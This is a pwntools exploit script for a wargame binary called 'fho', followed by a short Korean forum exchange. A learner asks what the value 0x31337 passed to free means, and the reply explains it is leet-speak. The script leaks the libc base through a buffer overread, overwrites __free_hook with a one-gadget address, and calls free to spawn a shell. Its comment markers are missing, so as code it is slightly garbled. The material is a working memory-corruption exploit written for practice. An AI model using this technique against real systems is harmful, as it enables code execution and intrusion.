#!/usr/bin/env python3
Name: fho_og.py
from pwn import *
p = process('./fho')
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
[1] Leak libc base
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
또는 libc_base = libc_start_main_xx - libc.libc_start_main_return
free_hook = libc_base + libc.symbols['__free_hook']
og = libc_base+0x4f432
slog('libc_base', libc_base)
slog('free_hook', free_hook)
slog('one-gadget', og)
[2] Overwrite free_hook
with system
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(og).encode())
[3] Exploit
p.recvuntil('To free: ')
p.sendline(str(0x31337).encode())
p.interactive()
해당 코드에서 마지막 부분에 Free 부분에 0x31337이 의미하는 바가 뭔가요?
원래는 원샷가젯으로 /bin/sh를 실행시키는것으로 알고있는데 그렇다면 Free로 /bin/sh/를 전달하는건 이미 끝났으니, Free가 필요없어서 0x31337을 넣어준건가요?
https://en.wikipedia.org/wiki/Leet 이런 느낌입니다
구글에 31337을 그대로 검색하셔도 나옵니다!